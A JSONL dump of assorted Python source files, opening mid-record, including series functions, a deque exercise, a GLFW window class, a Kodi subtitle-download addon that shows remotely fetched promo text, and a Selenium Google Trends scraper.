learningBlocks:\r\n # lrb.setLearningVal(False)\r\n #\r\n # for testSampleStep in range(numberOfTestingSamples):\r\n #\r\n # v1Source.setVoltage(v1ValList[tableRowIndex])\r\n # v2Source.setVoltage(v2ValList[tableRowIndex])\r\n # v3Source.setVoltage(v3SValList[tableRowIndex])\r\n # v4Source.setVoltage(v4ValList[tableRowIndex])\r\n #\r\n # y1Source.setVoltage(y1ValList[tableRowIndex])\r\n # y2Source.setVoltage(y2ValList[tableRowIndex])\r\n # y3Source.setVoltage(y3ValList[tableRowIndex])\r\n #\r\n # for step in range(testStepsCount):\r\n # for layer in layers:\r\n # for obj in layer:\r\n # obj.run()\r\n #\r\n # predicts = [adders[0].getVoltage(), adders[1].getVoltage(), adders[2].getVoltage()]\r\n # labels = [y1Source.getVoltage(), y2Source.getVoltage(), y3Source.getVoltage()]\r\n # print(\"Test Predict {}\".format(predicts))\r\n # print(\"Test Vals {}\".format(labels))\r\n # tableRowIndex += 1\r\n #\r\n # testSamplesCounter += 1.0\r\n # if predicts.index(max(predicts)) == labels.index(max(labels))and max(predicts) !=0:\r\n # currectCounter += 1.0\r\n #\r\n # print(\"Test accuracy {}\".format((currectCounter / testSamplesCounter) * 100.0))\r\n","sub_path":"OfflineLearning/OfflineLearning.py","file_name":"OfflineLearning.py","file_ext":"py","file_size_in_byte":18326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"208385237","text":"# -*- coding: utf-8 -*-\n\"\"\"This module defines functions that implement mathematical series.\n\nfib(n):\n\n Returns the nth value in the fibonacci series\n\n>>> fib(2)\n1\n\nlucas(n):\n\n Returns the nth value in the lucas series\n\n>>> lucas(2)\n3\n\nsum_series(n)\n\n Returns the nth value where the first value is optional arguement\n second arguement is the second optional arguement.\n\n>>> sum_series(3)\n2\n\"\"\"\n\n\ndef fib(n):\n \"\"\"Return nth Fibonacci number.\"\"\"\n if n < 2:\n return n\n else:\n return fib(n - 2) + fib(n - 1)\n\n\ndef lucas(n):\n \"\"\"Return nth Lucas number.\"\"\"\n if n <= 1:\n return 2\n elif n == 2:\n return 1\n else:\n return lucas(n - 2) + lucas(n - 1)\n\n\ndef sum_series(n, first=1, second=1):\n \"\"\"Return either Fibonacci or Lucas series depending on input.\"\"\"\n if n < 1:\n return 0\n elif n <= 1:\n return first\n elif n == 2:\n return second\n else:\n return sum_series(n - 2, first, second) + sum_series(n - 1, first, second)\n\n\ndef fib_iter(n):\n \"\"\"Return nth Fibonacci number via iteration.\"\"\"\n fib = [0, 1]\n for num in range(2, n + 1):\n fib.append(fib[-1] + fib[-2])\n return fib[n]\n\n\ndef lucas_iter(n):\n \"\"\"Return nth lucas number via iteration.\"\"\"\n lucas = [2, 1]\n for num in range(2, n + 1):\n lucas.append(lucas[-1] + lucas[-2])\n return lucas[n - 1]\n\n\ndef sum_series_iter(n, first=1, second=1):\n \"\"\"Return either Fibonacci or Lucas series by iteration depending on input.\"\"\"\n if n < 1:\n return 0\n else:\n lucas = [first, second]\n for num in range(2, n + 1):\n lucas.append(lucas[-1] + lucas[-2])\n return lucas[n - 1]\n\n\nif __name__ == '__main__':\n print(__doc__)\n","sub_path":"series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"335488037","text":"# A deque is a double-ended queue, it can be used to add or remove elements from both ends\n# Deques support thread safe, memory efficeint appends and pops from either side of the deque with aproximately the same \n# performance in either direction\n\n# Task\n# Perform append, pop, popleft and appendleft methods on an empty deque d\n\n# Input Format\n# The first line contains an integer N, the number of operations\n# The next N lines contains the space separated names of methods and their values\n\n# Output Format\n# Print the space separated elements of deque d\n\nfrom collections import deque\nd = deque()\n\nn = int(input())\n\nfor _ in range(n):\n action = input()\n action_string = action.split(\" \")\n if action_string[0] == \"append\":\n d.append(int(action_string[1]))\n elif action_string[0] == \"appendleft\":\n d.appendleft(int(action_string[1]))\n elif action_string[0] == \"pop\":\n d.pop()\n elif action_string[0] == \"popleft\":\n d.popleft()\n else:\n continue\n\nprint(*d)\n","sub_path":"python/collections_deque.py","file_name":"collections_deque.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"278809460","text":"from PyQt5 import QtWidgets\nimport sys\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import *\n\nform_class=uic.loadUiType(\"fff.ui\")[0]\n\nclass MyWindow(QDialog, form_class):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.initUI()\n\n def initUI(self):\n self.setWindowTitle(\"파일 오픈\")\n self.pushButton.clicked.connect(self.fileopen)\n\n def fileopen(self):\n global filename\n filename= QtWidgets.QFileDialog.getOpenFileName(self,'Open File')\n\nif __name__==\"__main__\":\n app = QApplication(sys.argv)\n myWindow = MyWindow()\n myWindow.show()\n app.exec_()","sub_path":"gradu/LK/qt/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"411783008","text":"\"\"\"Class to create a window using GLFW.\"\"\"\r\n\r\nimport glfw\r\nimport sys\r\nfrom ..errors import *\r\nfrom ..core import Clock\r\nfrom ..input import KeyCode, KeyState\r\nfrom .. import config\r\n\r\nclass Window:\r\n \"\"\"\r\n A window provider that uses GLFW.\r\n\r\n Raises\r\n ------\r\n PyUnityException\r\n If the window creation fails\r\n\r\n \"\"\"\r\n\r\n def __init__(self, name, resize):\r\n self.resize = resize\r\n glfw.init()\r\n if sys.platform == \"darwin\":\r\n glfw.window_hint(glfw.GLFW_CONTEXT_VERSION_MAJOR, 3)\r\n glfw.window_hint(glfw.GLFW_CONTEXT_VERSION_MINOR, 3)\r\n glfw.window_hint(glfw.GLFW_OPENGL_FORWARD_COMPAT, glfw.GL_TRUE)\r\n glfw.window_hint(glfw.GLFW_OPENGL_PROFILE,\r\n glfw.GLFW_OPENGL_CORE_PROFILE)\r\n\r\n self.window = glfw.create_window(*config.size, name, None, None)\r\n if not self.window:\r\n glfw.terminate()\r\n raise PyUnityException(\"Cannot open GLFW window\")\r\n\r\n glfw.make_context_current(self.window)\r\n\r\n self.resize = resize\r\n glfw.set_framebuffer_size_callback(\r\n self.window, self.framebuffer_size_callback)\r\n glfw.set_key_callback(self.window, self.key_callback)\r\n\r\n self.keys = [KeyState.NONE for _ in range(glfw.KEY_MENU)]\r\n\r\n def framebuffer_size_callback(self, window, width, height):\r\n self.resize(width, height)\r\n self.update_func()\r\n glfw.swap_buffers(window)\r\n\r\n def key_callback(self, window, key, scancode, action, mods):\r\n if action == glfw.RELEASE:\r\n self.keys[key] = KeyState.UP\r\n elif action == glfw.REPEAT:\r\n self.keys[key] = KeyState.PRESS\r\n else:\r\n self.keys[key] = KeyState.DOWN\r\n\r\n def check_keys(self):\r\n for i in range(len(self.keys)):\r\n if self.keys[i] == KeyState.UP:\r\n self.keys[i] = KeyState.NONE\r\n elif self.keys[i] == KeyState.DOWN:\r\n self.keys[i] = KeyState.PRESS\r\n\r\n def get_key(self, keycode, keystate):\r\n key = keyMap[keycode]\r\n if keystate == KeyState.PRESS:\r\n if self.keys[key] in [KeyState.PRESS, KeyState.DOWN]:\r\n return True\r\n if self.keys[key] == keystate:\r\n return True\r\n return False\r\n\r\n def check_quit(self):\r\n alt_pressed = glfw.get_key(self.window, glfw.KEY_LEFT_ALT) or glfw.get_key(\r\n self.window, glfw.KEY_RIGHT_ALT)\r\n if alt_pressed and glfw.get_key(self.window, glfw.KEY_F4):\r\n glfw.set_window_should_close(self.window, 1)\r\n\r\n def quit(self):\r\n glfw.destroy_window(self.window)\r\n\r\n def start(self, update_func):\r\n \"\"\"\r\n Start the main loop of the window.\r\n\r\n Parameters\r\n ----------\r\n update_func : function\r\n The function that calls the OpenGL calls.\r\n\r\n \"\"\"\r\n self.update_func = update_func\r\n clock = Clock()\r\n clock.Start(config.fps)\r\n while not glfw.window_should_close(self.window):\r\n self.check_quit()\r\n self.check_keys()\r\n\r\n glfw.poll_events()\r\n self.update_func()\r\n glfw.swap_buffers(self.window)\r\n clock.Maintain()\r\n\r\n self.quit()\r\n\r\n\r\nkeyMap = {\r\n KeyCode.A: glfw.KEY_A,\r\n KeyCode.B: glfw.KEY_B,\r\n KeyCode.C: glfw.KEY_C,\r\n KeyCode.D: glfw.KEY_D,\r\n KeyCode.E: glfw.KEY_E,\r\n KeyCode.F: glfw.KEY_F,\r\n KeyCode.G: glfw.KEY_G,\r\n KeyCode.H: glfw.KEY_H,\r\n KeyCode.I: glfw.KEY_I,\r\n KeyCode.J: glfw.KEY_J,\r\n KeyCode.K: glfw.KEY_K,\r\n KeyCode.L: glfw.KEY_L,\r\n KeyCode.M: glfw.KEY_M,\r\n KeyCode.N: glfw.KEY_N,\r\n KeyCode.O: glfw.KEY_O,\r\n KeyCode.P: glfw.KEY_P,\r\n KeyCode.Q: glfw.KEY_Q,\r\n KeyCode.R: glfw.KEY_R,\r\n KeyCode.S: glfw.KEY_S,\r\n KeyCode.T: glfw.KEY_T,\r\n KeyCode.U: glfw.KEY_U,\r\n KeyCode.V: glfw.KEY_V,\r\n KeyCode.W: glfw.KEY_W,\r\n KeyCode.X: glfw.KEY_X,\r\n KeyCode.Y: glfw.KEY_Y,\r\n KeyCode.Z: glfw.KEY_Z,\r\n KeyCode.Space: glfw.KEY_SPACE,\r\n KeyCode.Alpha0: glfw.KEY_0,\r\n KeyCode.Alpha1: glfw.KEY_1,\r\n KeyCode.Alpha2: glfw.KEY_2,\r\n KeyCode.Alpha3: glfw.KEY_3,\r\n KeyCode.Alpha4: glfw.KEY_4,\r\n KeyCode.Alpha5: glfw.KEY_5,\r\n KeyCode.Alpha6: glfw.KEY_6,\r\n KeyCode.Alpha7: glfw.KEY_7,\r\n KeyCode.Alpha8: glfw.KEY_8,\r\n KeyCode.Alpha9: glfw.KEY_9,\r\n KeyCode.F1: glfw.KEY_F1,\r\n KeyCode.F2: glfw.KEY_F2,\r\n KeyCode.F3: glfw.KEY_F3,\r\n KeyCode.F4: glfw.KEY_F4,\r\n KeyCode.F5: glfw.KEY_F5,\r\n KeyCode.F6: glfw.KEY_F6,\r\n KeyCode.F7: glfw.KEY_F7,\r\n KeyCode.F8: glfw.KEY_F8,\r\n KeyCode.F9: glfw.KEY_F9,\r\n KeyCode.F10: glfw.KEY_F10,\r\n KeyCode.F11: glfw.KEY_F11,\r\n KeyCode.F12: glfw.KEY_F12,\r\n KeyCode.Keypad0: glfw.KEY_KP_0,\r\n KeyCode.Keypad1: glfw.KEY_KP_1,\r\n KeyCode.Keypad2: glfw.KEY_KP_2,\r\n KeyCode.Keypad3: glfw.KEY_KP_3,\r\n KeyCode.Keypad4: glfw.KEY_KP_4,\r\n KeyCode.Keypad5: glfw.KEY_KP_5,\r\n KeyCode.Keypad6: glfw.KEY_KP_6,\r\n KeyCode.Keypad7: glfw.KEY_KP_7,\r\n KeyCode.Keypad8: glfw.KEY_KP_8,\r\n KeyCode.Keypad9: glfw.KEY_KP_9,\r\n KeyCode.Up: glfw.KEY_UP,\r\n KeyCode.Down: glfw.KEY_DOWN,\r\n KeyCode.Left: glfw.KEY_LEFT,\r\n KeyCode.Right: glfw.KEY_RIGHT\r\n}\r\n","sub_path":"pyunity/window/glfwWindow.py","file_name":"glfwWindow.py","file_ext":"py","file_size_in_byte":5277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"303868174","text":"debug = False\n# domain\nDOMAIN_LIST = \"./tmp/domain_list.txt\"\nQA_KNOWLEDGE_PATH = \"./tmp/{domain}/qa_graph.json\"\nENTITY_PATH = \"./tmp/{domain}/entity\"\nACT_DIA_PATH = \"./tmp/{domain}/act_dia.json\"\nPROACTIVE_SAY = \"./tmp/{domain}/proactive_say.json\"\n\n# AI\nAI_BEING = \"\"\n\n# BAIDU\nBATDU_CLIENT_ID = \"\"\nBATDU_SECRET = \"\"\n\n# skill\nENTITY_COMMENT = \"./tmp/movie_star/entity_comment.json\"\n\n# RSS\nREAL_TIME_CACHE_PATH = \"\"\nRSS_SRC = [\n \"https://rsshub.app/bilibili/partion/ranking/20/5\", # 宅舞\n \"https://rsshub.app/zhihu/hotlist\", # 知乎热榜\n \"https://rsshub.app/bilibili/partion/ranking/154/5\", # 三次元舞蹈\n \"https://rsshub.app/bilibili/partion/ranking/86/5\" # 特摄\n]\n\n# model\nMODEL_DIR = \"./asserts\"\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"44305347","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport shutil\nimport sys\nimport unicodedata\nimport urllib\nimport xbmc\nimport xbmcaddon\nimport xbmcgui\nimport xbmcplugin\nimport xbmcvfs\n\n\n__addon__ = xbmcaddon.Addon()\n__scriptid__ = __addon__.getAddonInfo('id')\n__scriptname__ = __addon__.getAddonInfo('name')\n\n__cwd__ = xbmc.translatePath(__addon__.getAddonInfo('path')).decode(\"utf-8\")\n__profile__ = xbmc.translatePath(__addon__.getAddonInfo('profile')).decode(\"utf-8\")\n__resource__ = xbmc.translatePath(os.path.join(__cwd__, 'resources', 'lib')).decode(\"utf-8\")\n__temp__ = xbmc.translatePath(os.path.join(__profile__, 'temp', ''))\n\nBASE_URL = \"http://www.subtitrari-noi.ro/\"\n\nif xbmcvfs.exists(__temp__):\n shutil.rmtree(__temp__)\nxbmcvfs.mkdirs(__temp__)\n\nsys.path.append (__resource__)\nimport requests\n\ndef Search(item):\n search_data = []\n try:\n search_data = searchsubtitles(item)\n except:\n log(__name__, \"failed to connect to service for subtitle search\")\n xbmc.executebuiltin((u'Notification(%s,%s)' % (__scriptname__, \"eroare la cautare\")).encode('utf-8'))\n return\n search_data = searchsubtitles(item)\n if search_data != None:\n for item_data in search_data:\n listitem = xbmcgui.ListItem(label=item_data[\"LanguageName\"],\n label2=item_data[\"SubFileName\"],\n iconImage=item_data[\"SubRating\"],\n thumbnailImage=item_data[\"ISO639\"]\n )\n\n listitem.setProperty(\"sync\", (\"false\", \"true\")[str(item_data[\"MatchedBy\"]) == \"moviehash\"])\n listitem.setProperty(\"hearing_imp\", (\"false\", \"true\")[int(item_data[\"SubHearingImpaired\"]) != 0])\n url = \"plugin://%s/?action=download&link=%s&filename=%s&format=%s&traducator=%s\" % (__scriptid__,\n item_data[\"ZipDownloadLink\"],\n item_data[\"SubFileName\"],\n item_data[\"referer\"],\n item_data[\"Traducator\"]\n )\n xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=listitem, isFolder=False)\n\n\ndef Download(link, url, referer, trdtr):\n subtitle_list = []\n exts = [\".srt\", \".sub\", \".txt\", \".smi\", \".ssa\", \".ass\"]\n log(__name__, \"Download Using HTTP\")\n s = requests.Session()\n ua = 'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1'\n headers = {'User-Agent': ua}\n file = s.get(link, headers=headers)\n Type = 'rar' if link[-4:] == '.rar\"' else 'zip'\n fname = \"%s.%s\" % (os.path.join(__temp__, \"subtitle\"), Type)\n with open(fname, 'wb') as f: f.write(file.content)\n extractPath = os.path.join(__temp__, \"Extracted\")\n xbmc.executebuiltin(\"XBMC.Extract(%s, %s)\" % (fname, extractPath))\n xbmc.sleep(1000)\n for root, dirs, files in os.walk(extractPath):\n for file in files:\n dirfile = os.path.join(root, file)\n dirfile_with_path_name = normalizeString(os.path.relpath(dirfile, extractPath))\n dirname, basename = os.path.split(dirfile_with_path_name)\n dirname = re.sub(r\"[/\\\\]{1,10}\", \"-\", dirname)\n dirfile_with_path_name = \"(%s) %s\" % (dirname, basename) if len(dirname) else basename\n if (os.path.splitext(file)[1] in exts):\n subtitle_list.append(dirfile)\n selected = []\n if xbmcvfs.exists(subtitle_list[0]):\n if len(subtitle_list) > 1:\n subtitle_list_s = natcasesort(subtitle_list)\n dialog = xbmcgui.Dialog()\n sel = dialog.select(\"%s\\n%s\" % ('Traducator: ', trdtr),\n [((os.path.basename(os.path.dirname(x)) + '/' + os.path.basename(x))\n if (os.path.basename(x) == os.path.basename(subtitle_list_s[0])\n and os.path.basename(x) == os.path.basename(subtitle_list_s[1]))\n else os.path.basename(x))\n for x in subtitle_list_s])\n if sel >= 0:\n selected.append(subtitle_list_s[sel])\n return selected\n else:\n return None\n else:\n selected.append(subtitle_list[0])\n return selected\n else:\n return None\n\ndef searchsubtitles(item):\n if len(item['tvshow']) > 0:\n search_string = item['tvshow'].replace(\" \", \"+\") \n else:\n if str(item['year']) == \"\":\n item['title'], item['year'] = xbmc.getCleanMovieTitle(item['title'])\n \n search_string = (re.sub('S(\\d{1,2})E(\\d{1,2})', '', item['title'])).replace(\" \", \"+\")\n\n if item['mansearch']:\n s_string = urllib.unquote(item['mansearchstr'])\n search_string = s_string.replace(\" \", \"+\")\n s = requests.Session()\n ua = 'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1'\n headers = {'User-Agent': ua}\n search_link = 'http://www.subtitrari-noi.ro/index.php?action=caut&titlu=' + search_string + '&tip=Nume+Film&Cautare=Cautare'\n search_code = s.get(search_link, headers=headers)\n regex = ''''''\n regex_art = '''.+?\">(.+?)(.+?)'''\n match = []\n for art in re.compile(regex, re.IGNORECASE | re.MULTILINE | re.DOTALL).findall(search_code.text):\n if art:\n result = re.compile(regex_art, re.IGNORECASE | re.DOTALL).findall(art)\n (nume, traducator, legatura, descriere) = result[0]\n legatura = BASE_URL + legatura\n match.append((nume,\n traducator,\n legatura,\n descriere,\n ))\n clean_search = []\n if len(match) > 0:\n for item_search in match:\n s_title = re.sub('\\s+', ' ', cleanhtml(item_search[0])) + ' ' + re.sub('\\s+', ' ', cleanhtml(item_search[3])) + ' Traducator: ' + re.sub('\\s+', ' ', cleanhtml(item_search[1]))\n clean_search.append({'SeriesSeason': '0', 'SeriesEpisode': '0', 'LanguageName': 'Romanian', 'episode': '0', 'SubFileName': s_title, 'SubRating': '0', 'ZipDownloadLink': item_search[2], 'ISO639': 'ro', 'SubFormat': 'srt', 'MatchedBy': 'fulltext', 'SubHearingImpaired': '0', 'Traducator': re.sub('\\s+', ' ', cleanhtml(item_search[1])), 'referer': search_string})\n if clean_search:\n return clean_search \n else:\n return None \n\ndef safeFilename(filename):\n keepcharacters = (' ', '.', '_', '-')\n return \"\".join(c for c in filename if c.isalnum() or c in keepcharacters).rstrip()\n\ndef natcasesort(arr):\n if isinstance(arr, list):\n arr = sorted(arr, key=lambda x:str(x).lower())\n elif isinstance(arr, dict):\n arr = sorted(arr.iteritems(), key=lambda x:str(x[0]).lower())\n return arr\n\ndef cleanhtml(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\ndef log(module, msg):\n xbmc.log((u\"### [%s] - %s\" % (module, msg,)).encode('utf-8'), level=xbmc.LOGDEBUG) \n\ndef normalizeString(obj):\n try:\n return unicodedata.normalize(\n 'NFKD', unicode(unicode(obj, 'utf-8'))\n ).encode('ascii', 'ignore')\n except:\n return unicode(str(obj).encode('string_escape'))\n\ndef get_params(string=\"\"):\n param = []\n if string == \"\":\n paramstring = sys.argv[2]\n else:\n paramstring = string\n if len(paramstring) >= 2:\n params = paramstring\n cleanedparams = params.replace('?', '')\n if (params[len(params)-1] == '/'):\n params = params[0:len(params)-2]\n pairsofparams = cleanedparams.split('&')\n param = {}\n for i in range(len(pairsofparams)):\n splitparams = {}\n splitparams = pairsofparams[i].split('=')\n if (len(splitparams)) == 2:\n param[splitparams[0]] = splitparams[1]\n\n return param\n\nparams = get_params()\n\nif params['action'] == 'search' or params['action'] == 'manualsearch':\n log(__name__, \"action '%s' called\" % params['action'])\n item = {}\n item['temp'] = False\n item['rar'] = False\n item['mansearch'] = False\n item['year'] = xbmc.getInfoLabel(\"VideoPlayer.Year\") # Year\n item['season'] = str(xbmc.getInfoLabel(\"VideoPlayer.Season\")) # Season\n item['episode'] = str(xbmc.getInfoLabel(\"VideoPlayer.Episode\")) # Episode\n item['tvshow'] = normalizeString(xbmc.getInfoLabel(\"VideoPlayer.TVshowtitle\")) # Show\n item['title'] = normalizeString(xbmc.getInfoLabel(\"VideoPlayer.OriginalTitle\"))# try to get original title\n item['file_original_path'] = xbmc.Player().getPlayingFile().decode('utf-8') # Full path of a playing file\n item['3let_language'] = [] #['scc','eng']\n\n if 'searchstring' in params:\n item['mansearch'] = True\n item['mansearchstr'] = params['searchstring']\n\n for lang in urllib.unquote(params['languages']).decode('utf-8').split(\",\"):\n if lang == \"Portuguese (Brazil)\":\n lan = \"pob\"\n elif lang == \"Greek\":\n lan = \"ell\"\n else:\n lan = xbmc.convertLanguage(lang, xbmc.ISO_639_2)\n\n item['3let_language'].append(lan)\n\n if item['title'] == \"\":\n log(__name__, \"VideoPlayer.OriginalTitle not found\")\n item['title'] = normalizeString(xbmc.getInfoLabel(\"VideoPlayer.Title\")) # no original title, get just Title\n\n if item['episode'].lower().find(\"s\") > -1: # Check if season is \"Special\"\n item['season'] = \"0\" #\n item['episode'] = item['episode'][-1:]\n\n if (item['file_original_path'].find(\"http\") > -1):\n item['temp'] = True\n\n elif (item['file_original_path'].find(\"rar://\") > -1):\n item['rar'] = True\n item['file_original_path'] = os.path.dirname(item['file_original_path'][6:])\n\n elif (item['file_original_path'].find(\"stack://\") > -1):\n stackPath = item['file_original_path'].split(\" , \")\n item['file_original_path'] = stackPath[0][8:]\n\n Search(item)\n\nelif params['action'] == 'download':\n subs = Download(params[\"link\"], params[\"link\"], params[\"format\"], params[\"traducator\"])\n if subs is not None:\n for sub in subs:\n listitem = xbmcgui.ListItem(label=sub)\n xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=sub, listitem=listitem, isFolder=False)\n import threading\n class FuncThread(threading.Thread):\n def __init__(self, target, *args):\n self._target = target\n self._args = args\n threading.Thread.__init__(self)\n \n def run(self):\n self._target(*self._args)\n \n class PubDS(xbmcgui.WindowDialog):\n def __init__(self):\n self.background = xbmcgui.ControlImage(10, 70, 1000, 100, \"\")\n self.text = xbmcgui.ControlLabel(10, 70, 1000, 100, '', textColor='0xff000000', alignment=0)\n self.text2 = xbmcgui.ControlLabel(8, 68, 1000, 100, '', alignment=0)\n self.addControls((self.text, self.text2))\n def Ds(self):\n if __addon__.getSetting(\"stopop\") == 'false' and xbmc.getCondVisibility('Player.HasVideo'):\n try:\n s = requests.Session()\n promo = s.get('https://pastebin.com/raw/7Rdrkpyw', verify=False)\n promo = promo.text.replace('\\\\n', '\\n')\n if promo != 'oprit' and not 'Content-Type' in promo:\n promo_b = (re.compile(r'\\[(c|/c).*?\\]', re.IGNORECASE)).sub('', promo)\n import time\n timeout = time.time() + 10\n while time.time() < timeout:\n time.sleep(1)\n if not xbmc.getCondVisibility('Player.HasVideo'):\n break\n self.show()\n self.text.setLabel(chr(10) + \"[B]%s[/B]\" % promo_b)\n self.text2.setLabel(chr(10) + \"[B]%s[/B]\" % promo)\n self.text.setAnimations([('WindowOpen', 'effect=fade start=0 end=100 time=250 delay=125 condition=true'),\n ('WindowClose', 'effect=fade start=100 end=0 time=250 condition=true')])\n self.background.setAnimations([('WindowOpen', 'effect=fade start=0 end=100 time=250 delay=125 condition=true'),\n ('WindowClose', 'effect=fade start=100 end=0 time=250 condition=true')])\n timeout = time.time() + 10\n while time.time() < timeout:\n time.sleep(1)\n if (not xbmc.getCondVisibility('Player.HasVideo')) or (xbmc.getCondVisibility('Player.Paused')):\n self.close()\n break\n self.close()\n del self\n else:\n del self\n except:\n del self\n else:\n del self\n t1 = FuncThread(PubDS().Ds)\n t1.start()\n\nxbmcplugin.endOfDirectory(int(sys.argv[1]))\n","sub_path":"service.subtitles.subtitrarinoiro/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":14260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"385591385","text":"# Scrape Google Trends results for presidential hopefuls\r\n# Gabriel Perez-Putnam 1/8/19 - some code adapted from IM\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport random\r\nimport time\r\n\r\n\r\ndef sleep_time(x):\r\n \"\"\"Sleep for X seconds times a number between 0 and 1\"\"\"\r\n random_time = random.random() * x\r\n time.sleep(random_time)\r\n\r\ndef search_term(driver,name):\r\n \"\"\"Pull up the google trends page and search a name\"\"\"\r\n driver.get(gtrends)\r\n # find search box (id = input-254)\r\n searchbox = driver.find_element_by_id(\"input-254\")\r\n searchbox.send_keys(name)\r\n searchbox.send_keys(Keys.RETURN)\r\n time.sleep(1)\r\n\r\ndef get_states(driver):\r\n \"\"\"Pull the items containing states from the page\"\"\"\r\n states = driver.find_elements_by_class_name(\"progress-label\")\r\n return states\r\n\r\ndef get_text(objects,name):\r\n \"\"\"Get text from first 5 objects (states)\"\"\"\r\n info = [name]\r\n for x in objects[:5]:\r\n line = split_row(x)\r\n for l in line:\r\n info.append(l)\r\n print(info)\r\n return info\r\n\r\ndef split_row(info):\r\n \"\"\"Take the raw info and pull out state and index\"\"\"\r\n statex = info.get_attribute('innerText').strip()\r\n list1 = statex.split(\"\\n\")\r\n number = \"\"\r\n for c in list(list1[1]):\r\n if c.isdigit() == True:\r\n number += c\r\n state_clean = list1[1].replace(number,\"\").strip()\r\n return [state_clean,number]\r\n\r\ndef clean_row_for_export(variables):\r\n \"\"\"Prepares a row of data for export\"\"\"\r\n row = ('\\t').join(variables) + '\\n'\r\n return row\r\n\r\ndef export_to_file(file_name, candidate_list):\r\n \"\"\"Export the information to a file\"\"\"\r\n with open(file_name, 'w+', encoding='utf-8') as f:\r\n header = ['Candidate', 'State1', 'Index1', 'State2', 'Index2','State3',\r\n 'Index3','State4', 'Index4','State5', 'Index5']\r\n export_header = clean_row_for_export(header)\r\n f.write(export_header)\r\n for candidate in candidate_list:\r\n row = clean_row_for_export(candidate)\r\n f.write(row)\r\n\r\ndef iterate_candidates(candidates, driver):\r\n \"\"\"Go through the list and return the google trend info\"\"\"\r\n results = []\r\n for person in candidates:\r\n sleep_time(7)\r\n search_term(driver,person)\r\n states = get_states(driver)\r\n results.append(get_text(states, person))\r\n return results\r\n\r\ndef main():\r\n \"\"\"controller\"\"\"\r\n # create a new Chrome session\r\n driver = webdriver.Chrome(executable_path='C:/Users/perez_g/Desktop/Web Scrapping/env/Scripts/chromedriver.exe')\r\n driver.maximize_window()\r\n driver.implicitly_wait(30)\r\n\r\n # URL of initial search\r\n global gtrends\r\n gtrends = \"https://trends.google.com/trends/?geo=US\"\r\n\r\n candidates = [\"Amy Klobuchar\", \"Joe Biden\", \"Elizabeth Warren\",\r\n \"cory booker\", \"Bernie Sanders\", \"beto orourke\",\r\n \"sherrod brown\", \"kamala harris\", \"julian castro\",\r\n \"Kirsten Gillibrand\"]\r\n\r\n candidates_info = iterate_candidates(candidates, driver)\r\n export_to_file('candidate_trends.txt', candidates_info)\r\n\r\nmain()\r\n","sub_path":"google_trends_scrapper.py","file_name":"google_trends_scrapper.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}